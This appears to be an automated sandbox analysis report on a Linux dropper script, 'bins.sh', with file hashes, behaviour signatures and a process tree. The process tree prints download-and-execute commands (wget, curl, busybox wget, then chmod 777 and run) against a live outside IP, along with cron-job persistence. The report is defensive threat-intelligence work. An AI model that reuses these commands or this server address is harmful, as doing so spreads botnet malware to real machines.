Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    20/11/2024, 03:36

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    cd0626c90d5b47a6ce5eb6f42ffca214

  • SHA1

    cb84412f073e780cfdb5dcfcdba11f9c7fde9e0a

  • SHA256

    01b083f3a3bfa8feee984c83cb4f33526298df0f0e7fd2d1b339114c80ce0ca9

  • SHA512

    8057fed2d3a40d66d63406782fa34020627f4754e4bdb4a4641f869ccbf5d9e2f8568791a9c9db4b6d5c24617a9f75e48a666e78bda34ed37a4c164593b6ca0b

  • SSDEEP

    192:FZ5dN2u2iicj/auztWWz75dN2uuiicj/OR+V:FZ5dN2u+uztWM75dN2uSRU

Malware Config

Signatures

  • Contacts a large (2019) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1483
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1484
        • /usr/bin/wget
          wget http://216.126.231.240/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Writes file to tmp directory
          PID:1485
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Writes file to tmp directory
          PID:1497
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Writes file to tmp directory
          PID:1499
        • /bin/chmod
          chmod 777 jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • File and Directory Permissions Modification
          PID:1500
        • /tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          ./jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
          • Executes dropped EXE
          PID:1501
        • /bin/rm
          rm jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
          2⤵
            PID:1503
          • /usr/bin/wget
            wget http://216.126.231.240/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Writes file to tmp directory
            PID:1504
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Writes file to tmp directory
            PID:1506
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Writes file to tmp directory
            PID:1507
          • /bin/chmod
            chmod 777 vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • File and Directory Permissions Modification
            PID:1508
          • /tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            ./vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
            • Executes dropped EXE
            PID:1509
          • /bin/rm
            rm vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
            2⤵
              PID:1511
            • /usr/bin/wget
              wget http://216.126.231.240/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Writes file to tmp directory
              PID:1512
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Writes file to tmp directory
              PID:1513
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Writes file to tmp directory
              PID:1514
            • /bin/chmod
              chmod 777 vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • File and Directory Permissions Modification
              PID:1515
            • /tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              ./vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
              • Executes dropped EXE
              PID:1516
            • /bin/rm
              rm vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
              2⤵
                PID:1518
              • /usr/bin/wget
                wget http://216.126.231.240/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Writes file to tmp directory
                PID:1519
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Writes file to tmp directory
                PID:1520
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Writes file to tmp directory
                PID:1521
              • /bin/chmod
                chmod 777 I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • File and Directory Permissions Modification
                PID:1522
              • /tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                ./I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                • Executes dropped EXE
                PID:1523
              • /bin/rm
                rm I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
                2⤵
                  PID:1525
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • Writes file to tmp directory
                  PID:1526
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • Writes file to tmp directory
                  PID:1527
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • Writes file to tmp directory
                  PID:1528
                • /bin/chmod
                  chmod 777 MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1529
                • /tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  ./MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                  • Executes dropped EXE
                  PID:1530
                • /bin/rm
                  rm MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
                  2⤵
                    PID:1532
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • Writes file to tmp directory
                    PID:1533
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • Writes file to tmp directory
                    PID:1534
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • Writes file to tmp directory
                    PID:1535
                  • /bin/chmod
                    chmod 777 zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1536
                  • /tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    ./zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                    • Executes dropped EXE
                    PID:1537
                  • /bin/rm
                    rm zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
                    2⤵
                      PID:1539
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • Writes file to tmp directory
                      PID:1540
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • Writes file to tmp directory
                      PID:1541
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • Writes file to tmp directory
                      PID:1542
                    • /bin/chmod
                      chmod 777 ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1543
                    • /tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      ./ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:1544
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:1546
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1547
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:1548
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:1549
                          • /bin/rm
                            rm ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
                            2⤵
                              PID:1551
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
                              2⤵
                                PID:1554
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
                                2⤵
                                  PID:1555

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /var/spool/cron/crontabs/tmp.2eLsi8

                                Filesize

                                210B

                                MD5

                                7466e60321fa2a2011996dcef9ccae8f

                                SHA1

                                b6ad4956b684c61ad6df0d20f2ca5acda8df47e6

                                SHA256

                                d5ae0c9c2c8c5803abf9a455bc31af998844033dbf958c7bf425e451561c509e

                                SHA512

                                901a35f7fcccbb5d8c3741fcd75dccad376e0f9f51cc1b2424cdbaa58400a34005f7e5abb8d4eade4fc2716833213bb9f6c732a9cbfbb07892723c9bf1fccec7